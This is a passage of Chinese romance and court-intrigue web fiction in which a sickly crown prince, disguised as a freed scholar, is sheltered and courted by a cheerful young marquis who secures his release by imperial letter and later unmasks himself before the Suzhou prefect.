就这样在主院一道用了晚饭,宴知行吃得极慢,他的身体他清楚,等强塞得差不多,这才留意到桌上尽是清粥淡菜,全是病人用的。江眠在迁就着他布菜。 放了碗筷,对面的江眠下箸如飞,倒是没瞧出什么为难来。 嗯,食欲也好。 是这个年纪的少年该有的胃口。 江眠:“你歇会儿,一炷香后万太医就来给你行针止痛。” 宴知行:“食不语。吃完再说。” “……” 这一道行针起了效果,拔了针,万太医又燃了一只亲制的安神香。 烟灰袅袅娜娜,如绸带飘在空中,燃了一小半江眠来问他感受如何,他答好了些,江眠便吩咐人将香挪远了去,宴知行:“……” “大把大把的药草尚且还没毒死我,更何况一只小小的安神香。”宴知行自嘲道。 江眠神色却正经,“能避免就避免,一会儿烟雾诱发咳疾得不偿失。” 摸了摸喉咙,宴知行默认了。 又静坐了片刻,江眠瞧着宴知行似是彻底平静 了下来,开始和声细语询问他还有什么在养病中讨厌的、需要人注意的事项。 喜静。难受的时候不爱喝药。药丸能接受。 雷点倒也不多,只是今日恰好踩中了一个。 “想做的事……想出门透透气,不想成天被关在屋子里,算吗?” 算。但他现在吹不得风。 瞧见江眠脸上的迟疑,宴知行也不知道带着什么样的心思,问他:“能成吗?” 江眠:“等你病好一些,我带你出去。” “要是好不了呢?” “能的。但凡好上一些,我都带你出去,决不食言。” 宴知行深深看着江眠,少年回望的眼神灼灼,如他的手心一般滚烫,宴知行在这种视线里慢慢道:“我记下了。” 一阵疲乏袭来,安神香开始起效了,宴知行:“听闻今日教坊来了人,侯爷也见了,能同我说说吗?” 出乎宴知行意料,江眠倒是不藏私,一五一十连带外室那由头也告罪着说了出来。 崔九传话的时候他动怒,但江眠这样光明坦荡地承认是个幌子,他反而又还好。 江眠:“不过也只是试探,能成的话,买断章公子的身契籍契最好。不能成就当敲打敲打教坊,省得他们成天跟苍蝇一样往我这府上扑,烦人得紧。” 宴知行握茶杯的手收紧稍许,“如若此事难办的话,不如侯爷索性放怀闵离开,对外宣称我跑了便是。” 江眠略一迟疑,反问:“你想就这样走?” “走是最简单的,我差人送你离开便是,但是……大燕正是盛世,路引、籍契、身契任你走到哪一处都会有人盘查,就算能得贵人相助换了身份、改头换面,章公子多年苦读,若是从此再无翻身入朝的机会,真的甘心吗?” 宴知行手霎时收紧,指骨上青筋根根浮起,须臾,哂笑一声。 是啊,换了身份,朝中又皆是熟识章家章怀闵的官员与亲族,那便等同于自断前程,再无翻身之日,下半生都得隐姓埋名地终日躲藏过活。 但他也没多少时日了…… 不然怎会抱着一丝侥幸屈居于这府上多日? “公子。” 手腕覆上一只手来,哪怕隔着衣衫,宴知行也能感知到那掌心的热度。 略略抬眼,便见到凑近了的一张笑脸,眼弯弯,唇弯弯,带着狡黠同他道:“不是说都交给我吗,等我处理完,若是你不满意,再愁如何?” “侯爷是什么打算?” “嗯,保密。办完你就知道了,惊喜。” “……” 还是板子吃少了。 安神香缓缓燃到底,宴知行困意越发浓厚,眨了眨沉重的眼睫,“若是我不满意呢?” “那我到时候答应你一件事作补偿。” 说完那明亮的眸子一转,滑头道,“如果满意,换你答应我一件事如何?” 见宴知行迟疑,立即补充道,“小事。保管不让你为难的,如何?” “可以。” 言至此处,宴知行犯了困,闭了闭眼,强撑着说完,“对了,你的仆佣我用不惯,能不能把我以往的两个下人买回,他们也更清楚我的脾性。” “没问题。” * 其后连着十天再没人登门,教坊同州府都一并沉默了下去。 第十一日,江眠收到了一封请柬。 请他携他的新外室过府宴饮。 落款,苏州刺史萧阳冰。 此人乃苏州府尹的上峰,官拜从三品。 约定时间在三日后。 同天晚些时候,长公主寄出的家信也终于到了府上。 10. 太过体贴 清晨阳光晴好,化作丝丝缕缕的金线从枝头树梢漏下,落在青石板地面上形成点点跃动金斑,风一吹,树叶沙沙晃动,满地金斑也跟着以同一种节律摇摆。 天气越来越暖,来往仆佣皆换上了轻薄衣袍,在一阵脆生生的黄鹂鸣叫中,一身着竹绿春衫的少年踏入鹅卵石铺就的羊肠小径,黑白石子交错凸起,柔软的布鞋底踩在这路上并不多舒适,但见他含胸收腹,目不斜视,走动间寂然无声,若是有人留意,少年脚下迈步的跨度也相当一致,带着一种规行矩步的森然有序。 全身除去一根发绳再无半点配饰,但五官温和清冽,如雨后青山,素净整洁至极。 “福安你来了,章公子的早饭同方刚刚取走。” 进得小厨房,已混得脸熟的厨子笑呵呵指着外间道。 福安也笑,“知道,是我家公子午间有想吃的菜色,差我来提前说上一声。” “那你来得巧,采买都还没出门。想吃什么来着?” 福安详尽地一一交代,说完又添了些口味要求,便是叠声地致谢。 他来这府上已经有十余日,刚来的时候不懂章程,偷偷给底下办事的用人塞过银钱,不敢给多了,塞的都是铜板,投石问路般送出去,半日不到便被小侯爷身边的如意姑娘亲自送了回来。 说长公主府上自有规矩,素日里下人们月钱丰厚,一个月里办事利索的还有赏银,小侯爷交代过要好好照顾他家公子,有要求直管同下人说,遇上为难的报与她,她拿不定主意的自会再报给小侯爷,让他放宽了心,细致侍奉便是。 事实上也确实如此。 除了进府那日,搜身格外严厉些,脱了个精光查看外,别的事这府中都极好说话。 小侯爷江眠笑脸笑眼最是和善,府中下人也不似宫中那般沉默寡言,每个人性子都不大一样,有规矩却又不死守规矩,如这春日盛放的百花,热闹兴旺一派繁荣。 来了十余日,同人说话他也被带得未语先笑了起来。 “用完了,公子胃口尚可。” 福安回了偏院便见同方将吃完的早饭端出,擦肩而过时,同他交代了一声。 宴知行让江眠带回两个他的下属,几番思量,最终还是决定让崔九继续留守暗处,让贴身随从福安,以及太子三卫中的明卫队长同方进府。 进得内间宴知行端坐在窗下看书,崔九在一旁的案几上大摇大摆地吃早饭。自打福安来了,这院子里内外的人手都被他清了一遍,没了闲杂人等,崔九的行动便自在不少。 行了个礼,福安:“今日小侯爷没出府,早间府门口收了一封请柬,目前还尚不知是不是府尹递来的邀约。长公主府的家信也到了。听下人说布庄春季的款式再次上新,如意姑娘同侯爷身边的承吉都有前往挑选的意愿,下午有可能侯爷会带人出门。” “自从七日前城门口撤了多的守卫,今日也一切如常,州府没有再加派人手。” “我们的人落脚的地方昨日一切如常。” 说完又思量一番,添道:“之前公子叮嘱我打探的消息又有了几人口述,小侯爷江眠没有护身软甲,平日里也没有贴身穿戴软甲的习惯。” 宴知行缓缓翻过一页书,平静道,“知道了。” 崔九快速咽下嘴里的包子,“真的一件都没有吗?” 福安:“已经旁敲侧击问过了数人,都是同样的说辞。” 崔九脑瓜子疼。嗡嗡的。 侧眼去瞧宴知行,他家公子还是一贯的风轻云淡,彷佛不是什么大事般。 思绪又回到了十几天前江眠来那时,他在梁上对着人脖颈肩背头共弹出了十根银针,每根都抹上了过量的麻药,但江眠竟是谈笑如常,等中途人离开的间隙,他趴服地面寻找,十根银针一根不少全都在地上。 且每一根的尖端都像是射在盔甲般的硬物上,弯折出一个怪异扭曲的弧度……这绝不是对着人扎该有的效果! 他看完当时汗毛就竖了起来。 事后公子将银针并排放一起,又细细检查了一遍,并勒令他不许声张。 等福安入府,便得了这么个日日打听江眠大小事的任务。 崔九是不信鬼神的,但连着在江眠身上栽了两回,怎么想都瘆得慌。 该不会这小侯爷身上真有点什么说法…… 心里犯着嘀咕,吃早点的动作却丝毫不慢—— 公子不喜欢食物的气味留在屋子里。 晚些时候如意来了一趟,送了两身给福安同方新做出的春衫,并带着裁缝绣娘一道,捧着做好了大半的几身新装,让宴知行试衣。 福安麻利搭手接过一个托盘,指腹碾了碾那布料,推让的话都到了嘴边却卡住了。 面料极其的柔软亲和,缘边包边也选的好料子,绣线全集中在不贴肤外袍正背两面,简约又不失庄重。 福安伺候宴知行老了的人,一时间竟是都没挑出问题来。 如意:“过些时日怕是会出门,小侯爷特意交代,定型前先让公子试个厚薄。再者府里做袍服较多,不知公子是想做成深衣还是袍服的形式,望公子给拿个主意。” 本是懒洋洋的怎么都好,如意一说出门,宴知行倒是将头抬了起来。 “我看看。” 四五身衣服,一字排开,靛蓝、月白、水绿、米杏加一身皂色。 除去皂色,其余皆是清雅又不扎眼的浅色调,适合春天,却又不多招摇。 宴知行:“谁选的色?” 如意:“小侯爷挑的布匹。” 福安抬眼又极快垂目。 宴知行略感意外,天天看江眠穿得五颜六色都成了习惯,还以为他就喜欢花枝招展的亮色,未料竟还是个通晓风雅的。 说做了大半,穿着都极为合身。 “那就按公子的喜好,三身做深衣,两身做袍服,薄披风是完工了的,没有问题那便留下了,小侯爷说公子成天闷在屋里也无聊,可以适当穿着披风在府中走走。” “对了,小侯爷有事要同公子商议,午间过来一道用饭。” 说完如意便领着人浩浩荡荡走了。 福安捧着那一身偏厚的披风,等如意他们的脚步声都听不见了,内外细细摸过,“是上好的用料,也舒适。” 极快觑宴知行一眼,小声道:“这小侯爷对公子也太好了些。” 宴知行不以为意:“全府上下他对谁不好?” 同方:“威远侯是大方,府卫们的佩刀佩剑全是精铁锻造,行宫当差的侍卫都不一定有这规格。” 崔九闪身出来,“你也馋成祥那把佩剑是不是?我一直琢磨是什么材质的,利落得很。” 福安:“……” 眼见着话题偏离,宴知行也不以为意,福安抱着披风低头下去了。 午间江眠登门,早上才道这人通晓风雅,人一现身,看着那身迎春花配色的薄衫,宴知行顿觉眼睛被吵到了,头一动,发间辫子里还编入了一个个小小的金环,“……” 闭了闭眼,宴知行很快忽略,因着这人一来,总是仿佛将外间喧嚣也一并带进了门。 一连好几句问过福安,宴知行幻视树梢上蹦跳的叽喳黄鹂。 “先吃饭吧。” 江眠笑道:“好呀。” 食不言,还能消停一阵。 布菜的时候福安照例问询江眠要不要加些他能吃的荤菜,免得太过清淡,照旧被拒了,福安心中那股奇怪的感觉又腾了起来。 实在是……太过体贴了些。 其实公子并不喜欢席间出现太过荤腥的菜色,宴知行五感敏锐,闻着便不太能吃下饭。 但素日里同食的长辈平辈,却没几个知道,自然,也不会有几个喜欢吃病号的饭食。 “果然是自己的人用着顺手,我见你气色好了些。” 饭后喝上茶,江眠打量着宴知行道。 宴知行笑了下,再怎么好,也就那样了。 抬头看了眼自己短短的命线,不答反问道:“侯爷来是有什么事?” “找你用个饭不行吗?” 阳光透窗洒在江眠侧脸,少年摇头晃脑巧言令色,手却老实,摸出一张请柬递了过来。 宴知行打开,沉沉目光扫到尾款上一下子定住。 “说是请我和你,但外室一事我只同教坊提过,想来苏州刺史已经同教坊奉銮通过了气,你不想去不去便是,我带人……” “我去。” 江眠有瞬间怀疑自己听错了。 对上那双如墨的凤眼,宴知行淡色的唇开合,一派正色道,“我去。” “这案子在都城是由内阁次辅汪嘉言,汪阁老上报,并交由他的门生速办的。” 而汪嘉言又是父皇一手提拔的亲信,内阁重臣,故而外间才迟迟打听不到案子的丝毫内情。这情形只有一种可能,父皇也不愿意内情为外人所知。 “苏州刺史萧阳冰为汪阁老的得意门生,为官素来有刚正不阿的美誉,眼下外放历练,等这一茬任期满,当是要高升回都城的。” 江眠眨了眨眼,“你觉得他知道些什么?” 宴知行抚了抚那请柬,神色复杂,须臾开口道:“我不清楚。” 若是连汪阁老都已站队,那是否可以默认,下一任太子父皇心内已有合适人选? 但他一贯身体不好,手下可用之人更是寥寥,若真是不愿自己插手,父皇又何必准他离京游历江南,难不成还真信了他死前想看看大燕山河的混话? 嘶。 想得太过入神,额间霎时传来针扎般的刺痛。 “公子,切莫多思。”福安第一时间提醒,想上前,却被宴知行挥退。 捏了捏额骨,宴知行看向江眠,没说话,意思江眠却懂了。 “去呗,你急什么,我又没拦着你。”江眠看着他瞬间痛红了的眼尾,心情莫名。 “先定定神。”江眠用眼神示意福安,“来帮你公子按按。” 福安的手搭上宴知行颞骨,手法老练熟稔。 闭目按揉了片刻,宴知行紧皱的眉心缓缓松开,同江眠虚声道了句:“多谢。” 江眠看他这样不得劲。 低声嘟囔,“我又不要你谢。” 福安瞳孔缩了缩,宴知行:“什么?” 江眠抬声:“那你可得好好记在心上,是真的感谢我!” 宴知行失笑,还是那样,真敢说啊。 罢了,等此间事了,再想想赏他些什么好。 三日后,陈伯套好了马车,成祥细细检查过,下车道:“我去请小侯爷和章公子。” 宴知行得了消息,看了看日头,“这么早?” 江眠:“我又没说现在去刺史府赴约。” “那去哪里?” “你猜。” “……” 看着江眠笑得一脸无害的模样,宴知行深深呼吸,缓缓吐出。 11. 皇命 陈伯马鞭一甩,车轮骨碌碌转起来,马蹄哒哒踩在青石板路上,贵人出行。 前一辆马车已经够宽敞气派,后面一辆却还要比前头的再大上一些,四匹大马牵引,车身描金雕画涂饰华丽图徽,宴知行带着福安与同方就在后面这辆马车内。 福安将车帷卷起了一个缝隙透气,对面的宴知行端坐着,平息静气,眼眉微垂,从面上看不出来什么,但福安的视线时刻不敢离开宴知行。 也不知走了多久,蓦的听见车夫一声“吁”,马匹打着响鼻,马车缓缓停下。 “到了!” 还没下马车就听得一个清亮的声音响起,是江眠。 宴知行走在最后,车帘一撩开就见得一张柔软的笑脸正正对着自己,今日春光尚好,在屋内他就觉得江眠气血很充足,到了晴好光明的室外,这种由内往外散发的勃勃生气更是惹眼。 头发乌黑油亮像是泼墨,双眼灿灿晶亮不需多言,皮肤白皙,不是同他一样的死白,而是一种康健丰腴的粉白,在日头下站上这么一会儿,两颊就泛起活络的绯色,更不用说那如点绛朱的唇色。 宴知行缓慢眨了下眼睛。 不知道是被这晴好的日光,还是被眼前的江眠晃了眼。 “下来啊,要搭手借个力吗?” 江眠说着也不喊人,径直伸出了自己的一只手。 一旁已经准备妥当正待接引宴知行下车的福安一时间进退都不是。 宴知行就这样看了会儿伸到眼前的手,握住了那一截手腕,和他想象中一样,很热,像是冬日里烧红的炭丝丝往外冒着热气,但很稳,不愧是武将家出来的孩子,他下车的过程中江眠手都没有晃一下,当是有武功底子的。 “手怎么还这么凉?” 宴知行站稳了江眠才奇怪出声。 宴知行:“我身体一贯如此。” 话还没说完,一只手伸过来,在披风一角快速捏了下,收得也快,宴知行皱眉的时候,江眠注意力已经去了其他地方,“不是薄披风啊,怪哉,冷吗?回去再让人做身厚的?” “……” 罢了。 这人也不是第一次,前科累累,倒是期待他规规矩矩的自己着相了。 江眠都开始选上料子了,宴知行打断道:“不必,已经很合适,是我身体如此。” “所以侯爷带我来了哪儿?” 江眠眼眉灵动地扬了扬,脸上蓦然绽开一个笑,白齿如编贝般合着他眼底的狡黠一道闪耀,“呐,清水镇,苏州有名的清淡饭食酒楼。” 随着江眠扇骨往外一点,宴知行目光顺着看去,便见高达三层的阁楼建筑屹立眼前,日光下牌匾还描了金,是草书写就的“清水镇”三个大字。 下车的时候还不觉得,等目光触到这楼台,周遭的一切便都如活了过来,如织食客来往的走动声、楼里小二高调的应和、茶盏间袅袅升腾起的水雾,一阵风过,楼前的翠绿柳条的摆动的沙沙细声,纷至沓来地涌入宴知行的眼睛耳朵。 宴知行蓦然失语。 “走啊,包阁早就定好了,问过万大夫,都是你能吃的……” 江眠招呼一声,已经在前面带起了路。 宴知行又看那一眼牌匾,缓缓踏出一步,跟着那一身水红春衫的招摇少年,彷佛一脚从冰冷寂静的华丽行宫,真切踏入了喧嚣纷杂的烟火俗世。 两辆马车,三间包阁,江眠宴知行一间,侍从一间,车夫兼家将一间。 承吉对此接受良好,从上楼就开始数数一样报菜名,同如意还有成祥商议要尝些什么菜色,宴知行听了两耳朵,心道这小侯爷对下人真是少见的宽厚。 上得二层,江眠却将福安与同方也安排到了承吉他们那一间去,福安看向宴知行,见公子没说什么,一步三回头,最后被活泼的承吉拽着手拉走。 他们的阁子在角落,门一关,纷扰的声音也被一道关在了外间似的,周遭清净下来。 “坐,我倒个水。” 不带仆佣,江眠自己手脚麻利,宴知行看了他一会儿,见这小侯爷不像离了佣人便不成的模样,便不再管他,挑了把靠窗的椅子坐下,刚坐定,目光一抬,发现窗户是开的,但放了一层细密的纱帘,不影响视线,但挡风。 往外看去,苏州河在目所能及的范围内缓缓流淌,河面粼粼如洒碎金。 河岸边上挑着担子叫卖的小贩不绝,有几个面前还排起了不短的队,宴知行细细辨认了会儿,耳际蓦的一个声音道:“米糕,想吃吗,一会去买点尝尝?” “我脾胃吃了不克化。” “没关系啊,买了你尝个味道就是,多出多少承吉和如意都不够分的。” 感觉到耳际吐息的热气,宴知行这才发现江眠离自己极近,转眼几乎要贴到一处,目光一撞上,少年又笑,灿烂夺目,如春水初生春林初盛,哪怕肩头没有挨在一处,隔着一段距离宴知行好似都能被那蓬勃的热度燎到。 如墨稠酽的眼珠定在江眠脸上。 “怎、怎么了?”江眠察觉到了,眼神飘飞了一霎,却又极快地又对视回来。 大燕不禁男风,宗室显贵里也总有那么几个好这道的,宴知行见过。 那一年父皇去皇子府中过中秋,宴席酒翻污了衣衫,去换衣的哥哥迟迟不回,父皇找了两次,唯一一个滴酒不沾的宴知行请命去寻人。 隔着一道细纱的屏风。 他哥哥捏着给他换衣的少年脸颊,吻得那少年散了衣衫冠簪,一双眼睛像是含着水盈盈晃动,半揽着人,越是唤他哥哥的名字,越是换来急躁粗暴的对待。 宴知行第一次知道男子的肩臂也可以是清秀白皙的。 想着,一只手已经捏上了江眠下颌,和他想象中一样,果然入手是柔软的。 江眠呼吸都停了一霎,然后气息开始颤动。 嘴唇微微分开,似是想说些什么,不重要,红的唇白的齿,缝隙间嵌着一点水光,已是潋滟无边。 宴知行忽然想把手指伸进去搅一搅,不知道这小侯爷会不会也用泪眼看着他。 这张脸比他哥哥的男侍好看了何止百倍千倍,如果…… “公子?”江眠又唤了一声。 耳根脖颈已经红透了,因着这个触碰。 不多羞涩,就是觉得……原来被喜欢的人触碰是这种感觉,血好似都聚集到了一处,来回激荡,心跳得咚咚咚地震响耳膜。 “你脸红了。”宴知行声音还是淡淡的。 但这一声提醒,轰的一下,江眠整张脸又红上一个度,如染胭脂。 “你……” 江眠胸膛起伏喘了口气,宴知行目光一霎更沉。 其实他见过江眠手臂,他的房间地龙烧得太旺,江眠每次来待到最后总是热得忍不住往上挽袖子,不细白,是很康健,发力时有漂亮肌理贲起的手臂。 也很好看,比起记忆中的绮丽画面更得他心…… “你还谎称我是外室……” 宴知行收了手,也收了难得的脑内绮思。 唇角牵起一抹淡淡的笑意,看着近处的江眠模样,寻思,他俩究竟谁更姣美像个外室? “你很好看啊。”几乎是脱口而出。 宴知行笑僵了下,“比如?” 没有动怒,但江眠就是莫名感觉,这个问题要是答不好,眼前这人会生气。很生气。 江眠目 光在宴知行身上游移,盈盈一点,彷佛真在品鉴一般:“眼眉好看,骨骼也生得好看。” “你手一看就是写字弹琴的,比我的都长点。肩膀宽平时站直体态特别雅正,腿也长,等病好了再养一养气色,会很倜傥的。” 说到最后,彷佛在告白,江眠脸上热度又翻了一翻,又感到了那点极少的赧然。 眼神挪开了一瞬,到底舍不得,再度直直看回宴知行。 他是真喜欢这人。 眼底蕴着水光,但很干净,极其干净。 宴知行的心说不上的,被这双眼睛看得轻轻晃了下,他不太懂,但能感觉到,此刻心间是柔软的。 笑容扩大了,也很淡,但江眠第一次能从这人的笑里觉出开怀意味。 “我一个长辈也这样说过。” “小侯爷,”语气蓦然变得郑重,“你是一个很真的人。” 至少没有拿些谎话糊弄他骗他。 江眠似乎有些呆住了,红着脸定定看着他。 宴知行却又不合时宜地想,这样好看纯然的少年,亲吻中也会发出那种如泣如诉的声音吗? * 仍旧没有吃下多少,但是宴知行的情绪很好,平日里不会看的糕点点心都叫了一份,看上的就尝一点,没胃口的便丢开打包,离开的时候唇边带着浅浅的笑,让急急来迎的福安都看愣了神。 河边摊贩的热米糕也买了一份,回了车上宴知行照例尝了点,福安问好吃与否,宴知行却答一般,但说着,又掰了很小一块咀嚼。 他素来在吃食上极为挑剔,福安瞧着直犯糊涂。 吃饱喝足了,一行人慢慢慢慢地往刺史府去。 入府被引到偏厅喝了些茶水消食,晚上起了风,着人抬了扇屏风放宴知行跟前,如意福安皆是心细,手炉盖毯一应保暖的都带着,等安置得差不多,管家来请,江眠还没开口,宴知行淡淡道:“我身体不太舒服,既已陪侯爷前来,就不赴宴了。” “不过若是有哪位大人想见,我在此静候。” 江眠想了下,觉得这样也好,便将如意留下,带着承吉成祥前往正厅赴宴。 来之前都打听好了,只是没有同宴知行说,本次邀约之人,除了他们,还有府尹同教坊奉銮,几乎和章怀闵有关的都凑了个齐,若刺史大人不是来当这个和事佬,便是要找江眠强硬讨人了。 刚好,他也要见府尹同奉銮,赴宴一道见也省得他挨个地搜罗。 进得正厅,府尹同奉銮都早早入了座。 府尹是一中年男子,肚皮圆滚滚撑得衣服都有些为难。教坊奉銮却清瘦有风度,据传是乐曲世家出来的后生。 一一打过招呼,江眠落座:“成祥,把东西拿给府尹同奉銮大人瞧瞧。” 成祥摸出一封信件,递给府尹。 府尹看过笑一下子僵在了脸上,成祥转而又给了教坊奉銮,奉銮倒是长出了一口气。 “侯爷拿了什么,可否容萧某过目?”一青衫袍服男子跨步迈入,面容威严,笑呵呵出声。 这人正是此次攒局的苏州刺史萧阳冰。 成祥将信件奉上。 萧阳冰展信,目光一怔,半晌轻出一口气,“看来侯爷已然处置妥当,此次宴请倒是我多此一举。” 公主府家信。 不过并不是长公主写给江眠的。 是长公主写给陛下的。 上书独子顽劣,不爱文墨,偶然在苏州得遇章怀闵,公主怜其满腹诗书流落教坊,为小侯爷讨要这位曾经的少年举人为师,入公主府教导小侯爷。 陛下应允。 信尾盖了一枚鲜红刺目的玉玺玺印,并一枚帝王私章。 12. 太子殿下 正厅灯火通明,远远瞧着开宴了,福安转身回去禀报。 一进偏厅便感到一阵穿堂风过,福安:“嘶,好冷。” 他倒是还好,但这个温度对宴知行绝对是低了。 转进屏风内,果见如意已经为他公子膝上搭了一层薄毯,宴知行合眼坐着,手炉就放在腿上,双手置于其上慢慢取着暖,福安手脚麻利探过披风内温度,为宴知行把帽子也戴了起来,毯子又细细掖了掖,把小腿脚踝都裹得严严实实。 “我去找人起个炉子放进来,门也掩一下。”福安,“萧大人宅院简朴,公子暂且忍耐一下。” 宴知行平静:“无妨,素闻萧大人为官两袖清风、刚正不阿。” 就是不知道是做给世人看的美名,还是真实如此。 如意瞧福安还在细致打点,起身道,“我去吧。” 不多时,偏厅内部热气缓缓蓄了起来,身体从风冷的难受舒缓过来,宴知行思绪开始飘飞,想着,不知道江眠那边如何了?他一个面嫩的宗室子面对萧阳冰这样的官场老狐狸会不会吃亏?还有那个惊喜,又是什么东西? 宴知行担心的正厅这边,萧阳冰刚放下长公主的家信。 又或者说是一封别样的圣旨。 心情复杂还没开口,一直老神在在的威远侯反倒站了起来,开始同他见礼。 这小侯爷倒是不爱按常理出牌。 萧阳冰这个念头刚起,江眠转头又看向府尹道:“身契由教坊直接送来便是,籍契的转让是要过州府文书的,不知府尹大人准备什么时候为我公主府办理。” 说完压根不给府尹开口的时间,继续道:“我此行游历江南,苏州只是其中一地,说不准什么时候就要离开,为了此事已滞留了这许久,还望府尹大人能通融一番,丛急办理。” “自然自然。” “那便请吧。”江眠递手,扇骨往外斜飞。 府尹笑容僵在脸上,“小侯爷这是……?” 江眠也笑,如常答道,“府尹大人既已应允,便请立刻回州府办理此事。” 府尹:“……” 萧阳冰:“……” 一旁的教坊奉銮倒是格外安静,眼观鼻鼻观心不置一词。 府尹胖胖的脸上神色几变,到底忍耐了下来,“今日萧刺史做东,宴席还未开始,我此刻离席怕是不太妥当吧?” 江眠看向萧阳冰:“府尹大人因心系公务而离席,刺史大人必不会介怀的吧?” “……” 倒叫萧阳冰两头都不好说话了。 江眠一拍脑袋,彷佛又想起什么似的,懊恼道:“噢,我是不是没说公主府家信不只此一封?怪我怪我。” 这一封只是附在主信上捎带的。 长公主给江眠的家信除了问候部分,还详细说了皇帝知晓此事的反应:“帝大怒”“即日便派遣钦差前往苏州专查此事”“刑部数人获罪贬黜”。 “我收到这封信的时候已经是两天前,钦差大人走得再慢,想必也快到了。” “前段时日苏州闹水患,萧大人在外治水,不知情也事出有因,但府尹大人……”江眠的目光淡淡落在府尹脸上,轻飘飘的却如有万钧之力,“怕是不能置身事外。” “此事既由母亲大人的信件起,想必钦差抵达后也会询问于我,若是府尹大人能快些办完,我还好替您美言一句,若不愿意,钦差大人问起时,我会说些什么出来……就不好说了。” 府尹脸色黑了白,白了红,最后归于煞白。 江眠仍旧是笑盈盈的,一副好脾气的模样,但行事却半分余地都不留。 哪怕心知此事木已成舟,此刻急吼吼办理也不一定能在江眠嘴里落到好,但府尹却也没有第二条路,强颜欢笑着又答了几句,见一旁的萧阳冰也不开口挽留,竟是真的告辞,回衙门替江眠办籍契去也。 教坊奉銮向来在贵人堆里打滚,府尹一走,立刻表示籍契转让还需教坊配合,也随后一道离去。 江眠摆了府尹一道,面对奉銮却是口也不想开,就这样看着人仓皇离席。 等人走干净,江眠脸上的笑也落了下来。 萧阳冰倒是没拦,只剩两人时,苦笑一声道:“威远侯好大的威风。” “是吗?” 却换来江眠喜怒不辨的冷淡回复。 四目相对,在江眠如雪光般清凌的尖锐视线中,缓缓的,萧阳冰脸上的笑意也收了起来。 * 也不知过了多久,福安都等得有些困了,成祥回来了。 “公子请先过目。” 辗转几人手中的家信,最后又到了宴知行手里,宴知行打开,不知读到哪一行蓦的神色复杂,怔忪片刻,长长吐出一口浊气,“这确实是个惊喜,实在是,太过劳烦小侯爷。” 且理由都找得如此得体,保全了怀闵读书人的颜面,实在是不能再用心了。 成祥:“公子先不急着谢,我将此信拿来,是因为萧大人想见公子一面,小侯爷怕公子以为无所倚仗而被迫答应,故而叫我跑这一趟。” 宴知行愣了下。 成祥:“既然看过了信,小侯爷原话是,见不见全由公子定夺,别的无需担忧。” 宴知行拿信的手捏紧了些,想问些什么的,但话到嘴边又咽了下去。不妥。 闭目片刻,再睁开,宴知行: “多谢侯爷挂怀,我见。” 萧阳冰来的时候,如意和成祥都被支开了,室内就剩福安同方,还有一个从窗子外面摸进来的崔九。 福安见到萧阳冰的时候,只见刺史大人面色铁青,颇为不悦的模样。 将人引进室内,同方紧跟着去关门,走到屏风前,福安:“刺史大人请留步。” 福安进了屏风内,不多时,萧阳冰便看见其后一个身影动了动,开口同他道:“得侯爷垂青得以脱离教坊,以我现今的身份,还是隔着屏风同萧大人说话比较妥当。” 宴知行说完,萧阳冰瞬间想到了那个“外室”的传言,脸色一下子难看至极,胸膛起伏几霎,勉强忍耐住,压着火气问道:“小侯爷说你在教坊的时候被日日责打,可有此事?” “不假。被救出来的时候腿上没有一块好肉,卧床半月不得安眠,又历时半月落疤,方可行走。” “若非遇到小侯爷,刺史大人今日见到的,只怕就是怀闵的牌位了。” “……” 萧阳冰原地来回地踱步,颇有些焦躁,几次张嘴都没说出话来,临了憋出一句,“你可是少年举子,原本只待春闱蟾宫折桂……现在竟……别的不论,你同我说一句心里话,你可是真愿委身公主府?” 萧阳冰也是江南学子出身,据传颇为惜才。 宴知行面上倒是没有多的神情,声音也极冷淡。 “愿与不愿又有什么要紧的,小侯爷能恭请长公主为怀闵求情,还有谁也能?谁又愿意?萧大人吗?” 屏风后哂笑一声,极尽讽刺,“萧大人忙于治水,是百姓眼中的好官、青天大老爷,这种事涉立储的朝堂风波,萧大人看不见也情有可原。” 一室寂静,室外夜风呼啸,带起一阵阵寒凉的簌簌叶动。 好半晌,萧阳冰长叹一 声,一身躁意尽散,只剩深深的疲惫与无奈:“不管你信与不信,苏州水患颇为棘手,文书往来不畅,这事我确乎前几日才知晓。” “口说无凭,据传萧大人为汪阁老高足,萧大人可愿以老师以及自身仕途起誓?” “我……可是江眠都与你说了些什么?你读圣贤书年少中举……岂可信他一面之词?!再者老师为我大燕肱骨,多年来夙兴夜寐……这事是有我的疏忽,但你虽未科考,水患洪涝等时务也是要学的……” 萧阳冰情绪激动,显然与江眠的见面也不那么愉快,说到治水各中细节详实,忧国忧民,确乎是一个做实事的官员。 宴知行就这样安静听着,说到后面虽然没有赌咒发誓,但言辞之犀利辛辣,与赌咒发誓也不遑多让,听到萧阳冰话语中都开始提及祖宗祠堂,宴知行这才起身缓缓从屏风内踱步而出。 “萧阳冰,如此说来,你之前对此事一无所知?” 风帽取下,一张苍白的面容露出。 一如八年前殿试,宴知行站在父皇同众阁老身边一样,从上而下的俯视眼前之人。 “太!太子殿下……” 萧阳冰脑中一空,一时间看着宴知行瞠目结舌。 宴知行眼皮轻垂,不怒自威:“如实回答。” * 江眠说得有点饿,在席间又随便对付了几口,吃好后,不见萧阳冰,却等来了同他见面的宴知行。 “萧大人身体不适先行休息了,让我代为告罪一声,侯爷我们回吧。” 江眠有些诧异,但见跟来的管家同宴知行一个说辞,挠了挠脑袋,没有多问。 往外走一路上江眠都在偷瞥宴知行。 已经不知道是第几回,宴知行:“我脸上有什么吗?” 江眠想了想,直说道:“萧大人没有为难你吧?” 宴知行好笑:“他为难不了我。倒是我好奇,侯爷你同他说了些什么,让他瞧起来颇为烦闷的模样。” “哦,这个,我……”最后几个字说得极小声,宴知行回头,江眠有点不好意思,凑近些许再道:“我骂了他一顿。” 宴知行:“你还会骂人?” “……而且骂得很难听!” 江眠一本正经,宴知行却稀奇看他半晌,蓦的笑了起来。 点墨似的眼珠凝在他脸上,笑得眼尾都弯了起来,笑得……他的心也开始活蹦乱跳。 “不错。”宴知行如此道。 江眠心扑通扑通,眼珠子转了转,突道:“成祥说你很满意我对此间事的处理。” 宴知行听音知意,“不错,劳累小侯爷,实在是颇为用心,我很惊喜。” 顿了顿,宴知行对江眠道,“小侯爷想要我办的事,请尽管开口,我必投桃报李。” 嘴角的笑还没落下去,话也是轻轻柔柔的,江眠的心湖在那含笑的视线里泛起一圈又一圈的涟漪,振荡不止,不可平复。 下意识又凑近了些许,鼻息间仿佛能闻到那若有似无的苦涩气息。 “那……敢问公子尊姓大名?” 宴知行笑意瞬间消失。 江眠:“既然章公子一事已了,可以重新认识一下了吗?” 顿了顿,“我要日常大家都唤你的那个名字。” “……你确定?” 江眠点头。 